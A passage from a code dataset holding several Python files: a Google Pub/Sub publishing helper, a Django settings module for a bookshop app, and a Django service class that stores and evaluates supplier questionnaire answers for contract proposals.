print(service_types)\n","repo_name":"monicabulboaca/Proiect-RC","sub_path":"ComputerNetworks/service/FindServiceTypes.py","file_name":"FindServiceTypes.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20787498","text":"import os\nfrom google.cloud import pubsub_v1\nfrom dotenv import load_dotenv\n\n\nload_dotenv()\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = \"./utils/credentials/pub_sub.json\"\n\npublisher = pubsub_v1.PublisherClient()\ntopic_path = os.getenv('TOPIC_PATH')\n\n\ndef publish_message(message):\n\tdata = message.encode('utf-8')\n\n\tfuture = publisher.publish(topic_path, data)\n\treturn future.result()\n","repo_name":"laurentiucretu68/HumanDetection","sub_path":"api/utils/publish_message.py","file_name":"publish_message.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26435740305","text":"import os\nimport environ\n\n\nBASE_DIR = os.path.dirname(\n os.path.dirname(os.path.abspath(__file__))\n)\n\nenv = environ.Env(\n # set casting, default value\n DEBUG=(bool, False)\n)\nenv.read_env('.env')\n\nDEBUG = env('DEBUG')\nSECRET_KEY = env('SECRET_KEY')\nALLOWED_HOSTS = ['booktime-apps.herokuapp.com', 'localhost']\n\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n \"django_extensions\",\n \"webpack_loader\",\n 'django_tables2',\n 'django_filters',\n 'widget_tweaks',\n 'rest_framework',\n 'rest_framework.authtoken',\n\n 'main.apps.MainConfig',\n 'channels',\n\n 'whitenoise.runserver_nostatic',\n\n]\n\nWEBPACK_LOADER = {\n \"DEFAULT\": {\n \"BUNDLE_DIR_NAME\": \"bundles/\",\n \"STATS_FILE\": os.path.join(BASE_DIR, \"webpack-stats.json\"),\n 'LOADER_CLASS': 'main.webpack.CustomWebpackLoader',\n }\n}\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',#documentation, à placer juste aprés SecurityMiddleware\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n\n 'main.middlewares.basket_middleware',\n \n]\n\nROOT_URLCONF = 'booktime.urls'\nASGI_APPLICATION = 'booktime.asgi.application'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\n\nREDIS_URL = env('REDIS_URL')\n\n\nCHANNEL_LAYERS = {\n 'default': {\n 'BACKEND': 'channels_redis.core.RedisChannelLayer',\n 'CONFIG': {\n \"hosts\":{\"hosts\": [REDIS_URL],}\n },\n }\n}\n\nDATABASES = {'default': env.db()}\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\nAUTH_USER_MODEL = \"main.User\"\n\nLOGIN_REDIRECT_URL = '/'\n\nSTATIC_URL = '/static/'\nSTATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')\nMEDIA_URL = '/media/'\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media')\n\n\nREST_FRAMEWORK = {\n 'DEFAULT_AUTHENTICATION_CLASSES': [\n 'rest_framework.authentication.SessionAuthentication',\n 'rest_framework.authentication.TokenAuthentication',\n 'rest_framework.authentication.BasicAuthentication',\n ],\n 'DEFAULT_PERMISSION_CLASSES': [\n 'rest_framework.permissions.DjangoModelPermissions',\n ],\n 'DEFAULT_FILTER_BACKENDS': [\n 'django_filters.rest_framework.DjangoFilterBackend',\n ],\n 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',\n 'PAGE_SIZE': 100\n}\n\n\nLOGGING = {\n \"version\": 1,\n \"disable_existing_loggers\": False,\n \"formatters\": {\n \"simple\": {\"format\": \"%(levelname)s %(message)s\"}\n },\n \"handlers\": {\n \"console\": {\n \"level\": \"DEBUG\",\n \"class\": \"logging.StreamHandler\",\n \"formatter\": \"simple\",\n }\n },\n \"loggers\": {\n \"main\": {\n \"handlers\": [\"console\"],\n \"level\": \"DEBUG\",\n \"propagate\": True,\n },\n \"booktime\": {\n \"handlers\": [\"console\"],\n \"level\": \"DEBUG\",\n \"propagate\": True,\n },\n },\n}\n\nDJANGO_TABLES2_TEMPLATE = \"django_tables2/bootstrap.html\"\n\nSTATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'\n \nEMAIL_CONFIG = env.email_url('EMAIL_URL')\nvars().update(EMAIL_CONFIG)\n\n","repo_name":"matardoky/booktime","sub_path":"booktime/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4508,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"40661130034","text":"import traceback\n\nfrom django.db.models import Q\n\nfrom cmsservice.data.response.quesansresponse import Quesansresponse, Quesansmapresponse, Answermapresponse, \\\n Quesclassifyresponse, Questionansmapresponse,AnswerEvaluatorresponse\nfrom cmsservice.models import QuestionAnswers, CMSQuestionAnswer, AnswerMapping, QuestionClassification, \\\n QuestionProjectMapping,ProposedContract, CMSDocuments, QuestionaireTranComments\nfrom django.utils.timezone import now\nfrom cmsservice.service.cmscommonservice import VowCommonService,CommonService\nfrom cmsservice.util.cmsutil import ActiveStatus, get_commentsreftype, DocUtil, ApprovalStatus, AnswerRefType,\\\n get_question_input_type, HistoryStatus,CommentsRefTypeUtil\nfrom utilityservice.data.response.nwisefinerror import NWisefinError\nfrom utilityservice.data.response.nwisefinerrorconstants import ErrorMessage, ErrorDescription\nfrom utilityservice.data.response.nwisefinlist import NWisefinList\nfrom utilityservice.service.utilityservice import NWisefinUtilityService\nfrom utilityservice.service.applicationconstants import ApplicationNamespace\nfrom utilityservice.service.threadlocal import NWisefinThread\nfrom utilityservice.data.response.nwisefinsuccess import NWisefinSuccess\nfrom utilityservice.service import cms_api_service\nfrom docservice.service.documentservice import VowDocumentsService\nfrom docservice.util.docutil import DocModule\nimport pandas as pd\nimport numpy as np\nimport json\n\nutilityservice=NWisefinUtilityService()\nclass Quesansservice(NWisefinThread):\n def __init__(self, scope):\n super().__init__(scope)\n self._set_namespace(ApplicationNamespace.CMS_SERVICE)\n\n def createquesans(self,request,ans_data,emp_id):\n proposal_id = request.GET.get('proposal_id', None)\n q_type= request.GET.get('q_type',None)\n if (proposal_id == None) or (q_type == None):\n error_obj = NWisefinError()\n error_obj.set_code(ErrorMessage.INVALID_REQUEST_ID)\n error_obj.set_description(ErrorMessage.INVALID_REQUEST_ID)\n return error_obj\n\n # QuestionClassification\n classify_obj = QuestionClassification.objects.using(self._current_app_schema()).filter(classify_id=proposal_id,classify_type=DocUtil.proposer,status=ActiveStatus.Active,question_type=q_type)\n\n if len(classify_obj) == 0:\n q_classification = QuestionClassification.objects.using(self._current_app_schema()).create(classify_id=proposal_id,classify_type=DocUtil.proposer, question_type=q_type)\n classify_id = q_classification.id\n approval_status = q_classification.approval_status\n else:\n classify_id = classify_obj[0].id\n approval_status = classify_obj[0].approval_status\n\n if approval_status == HistoryStatus.APPROVED:\n error_obj = NWisefinError()\n error_obj.set_code(ErrorMessage.PERMISSION_DENIED)\n error_obj.set_description(ErrorDescription.PERMISSION_DENIED)\n return error_obj\n arr = []\n for ans_obj in ans_data:\n if (approval_status == HistoryStatus.DRAFT) or (approval_status is None):\n if ans_obj.get_id() is not None:\n update = QuestionAnswers.objects.using(self._current_app_schema()).filter(id=ans_obj.get_id()).update(\n answer=ans_obj.get_answer(),\n option_type=ans_obj.get_option_type(),\n option_id=ans_obj.get_option_id())\n else:\n ans = QuestionAnswers(question_id=ans_obj.get_question_id(),\n question_type=q_type,\n answer=ans_obj.get_answer(),\n option_type=ans_obj.get_option_type(),\n option_id=ans_obj.get_option_id(),\n ref_type=AnswerRefType.supplier,\n ref_id=ans_obj.get_ref_id(),\n classify_id=classify_id,\n created_by=emp_id)\n arr.append(ans)\n elif approval_status == HistoryStatus.REVIEW:\n if ans_obj.get_id() is not None:\n previous_data = QuestionAnswers.objects.using(self._current_app_schema()).get(id=ans_obj.get_id())\n # data = {'classify': previous_data.classify_id, 'question_id': previous_data.question_id,\n # 'question_type': previous_data.question_type, 'answer': previous_data.answer,\n # 'option_type': previous_data.option_type, 'option_id': previous_data.option_id}\n com_serv = CommonService(self._scope())\n data = com_serv.obj_to_dict_conversion(previous_data)\n history_id = com_serv.insert_update_ref_data(data,previous_data.id, DocUtil.Questionnaire, emp_id)\n update = QuestionAnswers.objects.using(self._current_app_schema()).filter(id=ans_obj.get_id()\n ).update(\n is_ref=True, update_refid=history_id, answer=ans_obj.get_answer())\n else:\n ans = QuestionAnswers(question_id=ans_obj.get_question_id(),\n question_type=q_type,\n answer=ans_obj.get_answer(),\n option_type=ans_obj.get_option_type(),\n option_id=ans_obj.get_option_id(),\n ref_type=AnswerRefType.supplier,\n ref_id=ans_obj.get_ref_id(),\n classify_id=classify_id,\n created_by=emp_id,\n is_ref=True,\n update_refid=-1)\n arr.append(ans)\n QuestionAnswers.objects.using(self._current_app_schema()).bulk_create(arr)\n success_obj = NWisefinSuccess()\n success_obj.set_status(\"Success\")\n success_obj.set_message(\"Created Successfully\")\n return success_obj\n\n def fetch_classify(self,request,classify_id):\n quesclass = QuestionClassification.objects.using(self._current_app_schema()).get(id=classify_id)\n api_serv = cms_api_service.ApiService(self._scope())\n class_data = Quesclassifyresponse()\n class_data.set_classify_id(quesclass.classify_id)\n class_data.set_classify_type(get_commentsreftype(quesclass.classify_type))\n class_data.set_question_type(api_serv.get_ques_id(quesclass.question_type))\n return class_data\n\n def fetch_ans_list(self,request,question_id,question_type,vys_page,emp_id):\n try:\n condition = Q(status=ActiveStatus.Active) & Q(question_type=question_type)\n ans = QuestionAnswers.objects.using(self._current_app_schema()).filter(condition).order_by('-created_date')\n list_len = len(ans)\n question_arr = []\n ans_list_data = NWisefinList()\n if list_len > 0:\n for i in ans:\n api_serv = cms_api_service.ApiService(self._scope())\n ans_data = Quesansresponse()\n ans_data.set_id(i.id)\n if i.question_id != None:\n ans_data.set_question_id(api_serv.get_ques_id(i.question_id))\n ans_data.set_answer(i.answer)\n ans_data.set_option_type(i.option_type)\n ans_data.set_option_id(i.option_id)\n ans_data.set_ref_type(i.ref_type)\n ans_data.set_ref_id(i.ref_id)\n ans_data.set_classify_id(api_serv.get_classify_id(request, i.classify_id))\n question_arr.append(ans_data)\n if i.question_type != None:\n quey_type = api_serv.get_questype_id(i.question_type)\n ans_list_data.append({\"type_id\": quey_type, \"question\": question_arr})\n return ans_list_data\n except Exception as ex:\n traceback.print_exc()\n error_obj = NWisefinError()\n error_obj.set_code(ErrorMessage.INVALID_REQUEST_ID)\n error_obj.set_description(str(ex))\n return error_obj\n\n def createquesansmap(self,ans_obj,emp_id):\n try:\n ans = CMSQuestionAnswer.objects.using(self._current_app_schema()).create(\n answer_id=ans_obj.get_answer_id(),\n type_id = ans_obj.get_type_id(),\n subtype_id = ans_obj.get_subtype_id(),\n reftype_id = ans_obj.get_reftype_id(),\n ref_id =ans_obj.get_ref_id(),\n created_by=emp_id,\n created_date=now())\n\n\n ans_data = Quesansmapresponse()\n ans_data.set_id(ans.id)\n ans_data.set_answer_id(ans.answer_id)\n ans_data.set_type_id(ans.type_id)\n ans_data.set_subtype_id(ans.subtype_id)\n ans_data.set_reftype_id(ans.reftype_id)\n ans_data.set_ref_id(ans.ref_id)\n return ans_data\n\n except Exception as ex:\n traceback.print_exc()\n error_obj = NWisefinError()\n error_obj.set_code(ErrorMessage.INVALID_REQUEST_ID)\n error_obj.set_description(str(ex))\n return error_obj\n\n def createansmap(self,ans_obj,emp_id):\n arr = []\n for ans_data in ans_obj:\n if not ans_data.get_id() is None:\n AnswerMapping.objects.using(self._current_app_schema()).filter(id=ans_data.get_id()).update(answer_id=ans_data.get_answer_id(),\n ref_type = DocUtil.proposer,\n ref_id = ans_data.get_ref_id(),\n comments = ans_data.get_comments(),\n score = ans_data.get_score(),\n red_flag = ans_data.get_red_flag(),\n updated_by=emp_id,\n updated_date=now())\n\n else:\n ans = AnswerMapping(\n answer_id=ans_data.get_answer_id(),\n ref_type=DocUtil.proposer,\n ref_id=ans_data.get_ref_id(),\n comments=ans_data.get_comments(),\n score=ans_data.get_score(),\n red_flag=ans_data.get_red_flag(),\n created_by=emp_id)\n\n arr.append(ans)\n\n if len(arr)>0:\n AnswerMapping.objects.using(self._current_app_schema()).bulk_create(arr)\n\n success_obj = NWisefinSuccess()\n success_obj.set_status(\"Success\")\n success_obj.set_message(\"Created Successfully\")\n return success_obj\n\n def fetch_evaluation(self,request,ref_id,type_id):\n condition = Q(ref_id=ref_id,question_type=type_id)\n quesclass1 = QuestionAnswers.objects.using(self._current_app_schema()).filter(condition).values_list(\"id\",flat=True)\n\n quesclass2 = AnswerMapping.objects.using(self._current_app_schema()).filter(answer_id__in=quesclass1,status=ActiveStatus.Active)\n arr=NWisefinList()\n for i in quesclass2:\n eval = Answermapresponse()\n eval.set_id(i.id)\n eval.set_comments(i.comments)\n eval.set_answer_id(i.answer_id)\n eval.set_red_flag(i.red_flag)\n arr.append(eval)\n return arr\n\n def createquesclassify(self,ans_obj,emp_id):\n try:\n ans = QuestionClassification.objects.using(self._current_app_schema()).create(\n classify_id=ans_obj.get_classify_id(),\n question_type = ans_obj.get_question_type(),\n classify_type = ans_obj.get_classify_type(),\n created_by=emp_id,\n created_date=now())\n\n\n ans_data = Quesclassifyresponse()\n ans_data.set_id(ans.id)\n ans_data.set_classify_id(ans.classify_id)\n ans_data.set_classify_type(ans.classify_type)\n ans_data.set_question_type(ans.question_type)\n return ans_data\n\n except Exception as ex:\n traceback.print_exc()\n error_obj = NWisefinError()\n error_obj.set_code(ErrorMessage.INVALID_REQUEST_ID)\n error_obj.set_description(str(ex))\n return error_obj\n\n def createquesprojmap(self,ans_data,project_id,emp_id):\n arr=[]\n for typeid in ans_data:\n ans = QuestionProjectMapping(project_id = project_id,\n type_id = typeid,\n created_by=emp_id)\n arr.append(ans)\n\n QuestionProjectMapping.objects.using(self._current_app_schema()).bulk_create(arr)\n\n success_obj = NWisefinSuccess()\n success_obj.set_status(\"Success\")\n success_obj.set_message(\"Created Successfully\")\n return success_obj\n\n def fetch_projquesmap(self,pro_id):\n quesclass = QuestionProjectMapping.objects.using(self._current_app_schema()).filter(project_id=pro_id).values_list('type_id',flat=True)\n print(quesclass)\n return quesclass\n\n def projectquestion(self,request, pro_id):\n proposal_id = request.GET.get('proposal_id')\n q_type_id= request.GET.get('q_type',None)\n\n if proposal_id != None:\n proposal_id=int(proposal_id)\n else:\n proposal_id=-1\n\n api_serv = cms_api_service.ApiService(self._scope())\n # project - question type\n questype = api_serv.get_proquesmap_id(pro_id)\n if q_type_id == None:\n q_type = api_serv.get_questype(questype)\n else:\n q_type=api_serv.get_questype([q_type_id])\n\n qheader_type = api_serv.get_quesheader_id(questype)\n data = api_serv.get_ques(questype)\n\n # classification id\n classification_obj=QuestionClassification.objects.using(self._current_app_schema()).filter(classify_id=proposal_id,classify_type=DocUtil.proposer,question_type__in=q_type)\n\n q_data, qid_arr, subq_data, subq_id_arr, subq_refid, ques_ids = [], [], [], [], [], []\n for q in data:\n # all question for sub_option\n ques_ids.append(q.id)\n # QUESTION\n if q.ref_id == None:\n q_data.append(q)\n qid_arr.append(q.id)\n # SUB QUESTION\n else:\n subq_data.append(q)\n subq_id_arr.append(q.id)\n subq_refid.append(q.ref_id)\n\n # sub_options\n cms_serv = cms_api_service.ApiService(self._scope())\n sub_option_data = cms_serv.get_ques_suboption(ques_ids)\n # QUESTIONS\n ans_resp = QuestionAnswers.objects.filter(question_id__in=qid_arr, classify__classify_type=DocUtil.proposer,classify__classify_id=proposal_id,status=ActiveStatus.Active)\n ansid_arr = [a.id for a in ans_resp]\n ans_comments=[]\n if len(ansid_arr)>0:\n ans_comments=AnswerMapping.objects.filter(answer_id__in=ansid_arr,status=ActiveStatus.Active)\n\n # SUBQUESTIONS\n subq_ans_resp = QuestionAnswers.objects.filter(question_id__in=subq_id_arr, classify__classify_type=DocUtil.proposer,classify__classify_id=proposal_id, status=ActiveStatus.Active)\n subq_ansid_arr = [a.id for a in subq_ans_resp]\n subq_ans_comments = []\n if len(ansid_arr) > 0:\n subq_ans_comments = AnswerMapping.objects.filter(answer_id__in=subq_ansid_arr, status=ActiveStatus.Active)\n\n answerid_arr=ansid_arr+subq_ansid_arr\n file_data=CommonService(request.scope).cms_multi_file(answerid_arr,DocUtil.Questionnaire)\n\n resp_list = NWisefinList()\n for j in q_type:\n approval_status=self.approval_status_key(classification_obj,j.id)\n can_comment=True\n # status=ApprovalStatus.DRAFT\n type = {\"id\": j.id, \"name\": j.name,\"is_approver\":approval_status,\"status\":approval_status,\"can_comment\":can_comment}\n header_obj = self.get_questionheader_info(j.id, qheader_type)\n q_arr=[]\n for i in q_data:\n if i.type_id == j.id:\n data_resp = Questionansmapresponse()\n data_resp.set_id(i.id)\n data_resp.set_text(i.text)\n data_resp.set_input_type(i.input_type)\n data_resp.set_order(i.order)\n data_resp.ans = self.get_answer(i.id, ans_resp,ans_comments,file_data,i.input_type, sub_option_data)\n data_resp.sub_question=[]\n if i.id in subq_refid:\n data_resp.sub_question=self.sub_question_opt(i.id,subq_data,subq_ans_resp,subq_ans_comments,file_data, sub_option_data)\n q_arr.append(data_resp)\n d = {\"type\": type, \"questions\": q_arr, \"header\": header_obj}\n resp_list.append(d)\n return resp_list\n\n def approval_status_key(self,obj,type_id):\n approval_status=True\n for m in obj :\n if (m.question_type == type_id):\n approval_status=m.approval_status\n return approval_status\n\n def sub_question_opt(self,q_id,subq_data,ans_resp,ans_comments,input_data, sub_option_data):\n\n resp_list =[]\n for i in subq_data:\n if i.ref_id == q_id:\n data_resp = Questionansmapresponse()\n data_resp.set_id(i.id)\n data_resp.set_text(i.text)\n data_resp.set_input_type(i.input_type)\n data_resp.set_order(i.order)\n data_resp.ans = self.get_answer(i.id, ans_resp, ans_comments,input_data,i.input_type, sub_option_data)\n resp_list.append(data_resp)\n return resp_list\n\n def projectquestion2(self,request, pro_id):\n proposal_id = request.GET.get('proposal_id')\n if proposal_id != None:\n proposal_id=int(proposal_id)\n else:\n proposal_id=-1\n\n api_serv = cms_api_service.ApiService(self._scope())\n # project - question type\n questype = api_serv.get_proquesmap_id(pro_id)\n q_type = api_serv.get_questype(questype)\n qheader_type = api_serv.get_quesheader_id(questype)\n data = api_serv.get_ques(questype)\n qid_arr = [q.id for q in data]\n qid_arr = list(set(qid_arr))\n\n # question dataframe\n q_df=pd.DataFrame(data.values('text','type_id','id','input_type','ref_id'))\n q_df=q_df.rename({\"id\":\"question_id\"},axis=1)\n\n q_type_df=pd.DataFrame(q_type.values('id','name'))\n q_type_df=q_type_df.rename({\"id\":\"questiontype_id\"},axis=1)\n\n question_df =pd.merge(q_df,q_type_df,how='left',left_on=['type_id'],right_on=['questiontype_id'])\n print(question_df)\n\n # suboption dataframe\n suboption = api_serv.get_ques_suboption(qid_arr)\n\n suboption_df=pd.DataFrame(suboption.values('id','options','order'))\n suboption_df = suboption_df.rename({\"id\":\"suboption_id\"},axis=1)\n\n # answer dataframe\n ans_resp = QuestionAnswers.objects.filter(question_id__in=qid_arr, classify__classify_type=DocUtil.proposer,classify__classify_id=proposal_id,status=ActiveStatus.Active)\n # ans_resp =ans_resp.values()\n ans_df = pd.DataFrame(ans_resp.values('id','question_id','question_type','answer','option_id','option_type'))\n ans_df = ans_df.rename({\"id\":\"answer_id\"},axis=1)\n\n ansid_arr = [a.id for a in ans_resp]\n ans_comments=[]\n if len(ansid_arr)>0:\n ans_comments=AnswerMapping.objects.filter(answer_id__in=ansid_arr,status=ActiveStatus.Active)\n\n if len(ans_comments)>0:\n ans_comments_df = pd.DataFrame(ans_comments.values('answer_id','comments','score','red_flag'))\n else:\n ans_comments_df = pd.DataFrame(columns=['answer_id','comments','score','red_flag'])\n print(ans_comments_df)\n answer_df = pd.merge(ans_df,ans_comments_df,how='left',left_on=['answer_id'],right_on=['answer_id'])\n\n answer_df = pd.merge(answer_df,suboption_df,how='left',left_on=['option_id'],right_on=['suboption_id'])\n print(answer_df)\n\n final_df =pd.merge(question_df,answer_df,how='left',left_on=['question_id'],right_on=['question_id'])\n print(final_df)\n # a=final_df.groupby(['question_id']).agg({'suboption_id': {\"a\":\"suboption_id\"}})\n\n # parent_question_df= final_df[final_df.ref_id.isnull()]\n # sub_question_df= final_df[~final_df.ref_id.isnull()]\n\n # j = (final_df\n # .apply(lambda x: x.to_dict('records')\n # .reset_index()\n # .rename(columns={0: 'sub_question'})\n # .to_json(orient='records')))\n #\n #\n # k=(final_df.groupby(['question_id'], as_index=False)\n # .apply(lambda x: dict(zip(x.type_id,x.order)))\n # .reset_index()\n # .rename(columns={\"\":'sub_question'})\n # .to_json(orient='records'))\n\n # final_df.loc[final_df['ref_id']==141, 'sub_question'] = final_df.to_dict('records')\n # final_df = final_df.assign(asd=lambda x: x.to_dict('records') if x['ref_id'] == 141 else None)\n final_df = final_df.assign(sub_question=np.where(final_df['ref_id'] != None ,final_df.to_dict('records') ))\n\n # j = (final_df.groupby(['question_id'])\n # .apply(lambda x: x[['question_id', 'answer_id', 'ref_id', 'option_id', 'comments'] ] if(x.ref_id.isnull())else None).to_dict('records')\n # .reset_index()\n # .rename(columns={0: 'sub_question'})\n # .to_json(orient='records'))\n return\n\n def get_questionheader_info(self, type_id, header_arr):\n arr = []\n for i in header_arr:\n if i.type_id == type_id:\n d = {\"name\": i.name, \"order\": i.order}\n arr.append(d)\n return arr\n\n def get_answer(self, q_id, ans_obj,ans_comments,file_data,input_type, sub_option_data):\n # ans_arr = []\n d=None\n for i in ans_obj:\n if i.question_id == q_id:\n comments, red_flag, comment_id = None, None, None\n\n for j in ans_comments:\n if i.id == j.answer_id:\n comments=j.comments\n red_flag=j.red_flag\n comment_id=j.id\n break\n answer = i.answer\n if (i.option_type in [3, 4]) and (i.answer is not None):\n answer = self.get_sub_option_by_id(i.answer, sub_option_data)\n d = {\"id\": i.id, \"answer\": answer, \"option_type\": i.option_type,\"comments\":comments,\"red_flag\":red_flag,\"comment_id\":comment_id}\n if input_type == get_question_input_type().FILE:\n file_arr = [{\"id\": f.id, \"file_name\": f.file_name, \"file_id\": f.file_id} for f in file_data if\n (f.rel_type == DocUtil.Questionnaire and f.rel_id == i.id)]\n d['file']= file_arr\n break\n # ans_arr.append(d)\n return d\n\n def get_sub_option_by_id(self, sub_id, arr):\n for i in arr:\n if int(sub_id) == int(i.id):\n return i.options\n return ''\n\n def get_finalized_proposal(self,project_id):\n proposal_id=ProposedContract.objects.filter(project_id=project_id,status=ActiveStatus.Active,is_finalized=True,project__status=ActiveStatus.Active).values_list('id',flat=True)\n return proposal_id\n\n def get_finalized_proposal_info(self,project_id):\n proposal_obj=ProposedContract.objects.filter(project_id=project_id,status=ActiveStatus.Active,is_finalized=True,project__status=ActiveStatus.Active).values('id','name')\n return proposal_obj\n\n\n def fetch_final_evaluation(self,request,project_id):\n type_id =request.GET.get('type_id')\n api_serv = cms_api_service.ApiService(self._scope())\n # project type\n if type_id == None:\n questype = api_serv.get_proquesmap_id(project_id)\n else:\n questype =[int(type_id)]\n\n q_type = api_serv.get_questype(questype)\n qheader_type = api_serv.get_quesheader_id(questype)\n data = api_serv.get_ques(questype)\n qid_arr = [q.id for q in data]\n qid_arr = list(set(qid_arr))\n proposalid_arr=self.get_finalized_proposal(project_id)\n ans_resp = QuestionAnswers.objects.filter(question_id__in=qid_arr, classify__classify_type=DocUtil.proposer,classify__classify_id__in=proposalid_arr,status=ActiveStatus.Active)\n ansid_arr=[ans.id for ans in ans_resp]\n\n evaluator_cmt = AnswerMapping.objects.filter(id__in=ansid_arr,status=ActiveStatus.Active)\n\n resp_list = NWisefinList()\n for j in q_type:\n type = {\"id\": j.id, \"name\": j.name}\n header_obj = self.get_questionheader_info(j.id, qheader_type)\n q_arr = []\n for i in data:\n if i.type_id == j.id:\n data_resp = Questionansmapresponse()\n data_resp.set_id(i.id)\n data_resp.set_text(i.text)\n data_resp.set_input_type(i.input_type)\n data_resp.set_order(i.order)\n q_arr.append(data_resp)\n ans_arr=[]\n for a in ans_resp:\n if a.question_type == j.id:\n data_resp = AnswerEvaluatorresponse()\n data_resp.set_id(a.id)\n data_resp.set_question_id(a.question_id)\n data_resp.set_answer(a.answer)\n data_resp.set_option_type(a.option_type)\n cmt_obj=self.get_evalautor_comments(a.id,evaluator_cmt)\n data_resp.comments=cmt_obj\n ans_arr.append(data_resp)\n d = {\"type\": type, \"questions\": q_arr, \"header\": header_obj,\"answer\":ans_arr}\n resp_list.append(d)\n return resp_list\n\n def get_evalautor_comments(self,answer_id,arr):\n # ans_arr=[]\n for i in arr:\n if i.answer_id == answer_id:\n d={\"comments\":i.comments,\"red_flag\":i.red_flag,\"comments_id\":i.id}\n # ans_arr.append(d)\n return d\n d = {\"comments\": None, \"red_flag\": None, \"comments_id\": None}\n return d\n\n\n def get_final_evla(self,request,project_id):\n type_id = request.GET.get('type_id')\n api_serv = cms_api_service.ApiService(self._scope())\n # question\n question_obj=api_serv.get_question_id_by_type(type_id)\n question_df= pd.DataFrame(question_obj)\n\n proposal_id_arr=self.get_finalized_proposal(project_id)\n #answer\n ans_obj = QuestionAnswers.objects.filter( classify__classify_type=DocUtil.proposer,classify__classify_id__in=proposal_id_arr, status=ActiveStatus.Active,question_type=type_id).values()\n answer_df=pd.DataFrame(ans_obj)\n\n df1 = pd.merge(question_df, answer_df, how='left',left_on=['id'], right_on=['question_id'])\n print(df1)\n #comments\n\n return\n\n def approval_status_check(self,proposal_id):\n q_obj = QuestionClassification.objects.filter(classify_id=proposal_id,classify_type=CommentsRefTypeUtil.proposal,approval_status=ApprovalStatus.REVIEW)\n\n qtype_arr=[i.question_type for i in q_obj]\n # question type\n api_serv = cms_api_service.ApiService(self._scope())\n qtype =api_serv.get_questype(qtype_arr)\n # cmt\n QuestionaireTranComments.objects.filter()\n q_obj_arr=[{\"text\":i.name,\"id\":i.id,\"remarks\":None} for i in qtype]\n\n data = json.dumps(q_obj_arr,indent=4)\n return data\n\n # def test(self,vendor_id,proposal_id):\n # proposal_obj = ProposedContract.objects.get(id=proposal_id)\n # a=self.questionarier_to_vendor(proposal_obj,vendor_id)\n # return a\n\n def questionarier_to_vendor(self,proposal_obj,vendor_id):\n proposal_id=proposal_obj.id\n q_obj = QuestionClassification.objects.filter(classify_id=proposal_id,\n classify_type=CommentsRefTypeUtil.proposal,\n approval_status=ApprovalStatus.APPROVED)\n\n qtype_arr = list(q_obj.values_list('question_type'))\n clf_arr = list(q_obj.values_list('id'))\n final_arr=[]\n\n rel_cat=proposal_obj.project.rel_cat\n criticality=proposal_obj.project.criticality\n vendor_type=proposal_obj.project.vendor_type\n api_serv = cms_api_service.ApiService(self._scope())\n vendor_clf_obj =api_serv.get_vendor_classification(rel_cat,criticality,vendor_type,qtype_arr)\n\n q_classify_df=pd.DataFrame(q_obj.values())\n q_classify_df=q_classify_df.rename({\"id\":\"q_classify_id\"},axis=1)\n vendor_classify_df=pd.DataFrame(vendor_clf_obj.values())\n\n if len(q_classify_df)==0 or len(vendor_classify_df)==0:\n # data1 = json.dumps(final_arr, indent=4)\n # return data1\n return final_arr\n\n final_df = pd.merge(q_classify_df,vendor_classify_df,how='left',left_on='question_type',right_on='type_id')\n final_dict=final_df.to_dict('records')\n # print(final_dict)\n ans_obj=QuestionAnswers.objects.filter(classify_id__in=clf_arr)\n for i in final_dict:\n\n final_data={\"activity_flag\": 0,\n \"question_type\": i['question_type'],\n \"period\": i['period'],\n # \"period_start\": i['period_start'],\n # \"period_end\": i['period_end'],\n \"remarks\": \"\",\n \"type_status\": 1,\n \"vendor_id\":vendor_id,\n \"Activity\": None}\n\n ans_data=[j for j in ans_obj if j.classify_id == i['q_classify_id'] ]\n arr=[]\n for a in ans_data:\n d={\n \"question_id\": a.question_id,\n \"type_id\": a.question_type,\n \"answer\": a.answer,\n \"sub_question\": [],\n \"header_id\": 2,\n \"activity_id\": \"0\",\n \"input_type\": a.option_type,\n \"input_value\": []\n }\n arr.append(d)\n final_data['answer']=arr\n final_arr.append(final_data)\n print(final_arr)\n\n # data1 = json.dumps(final_arr,indent=4)\n # return data1\n return final_arr\n\nfrom userservice.controller.vowusercontroller import VowUser\nclass VowQuesansService:\n def __init__(self,request):\n vowuser_info = VowUser().get_user(request)\n self.emp_id = vowuser_info['user_id']\n self.entity_id = vowuser_info['entity_id']\n self.is_user = vowuser_info['is_user']\n self.schema = 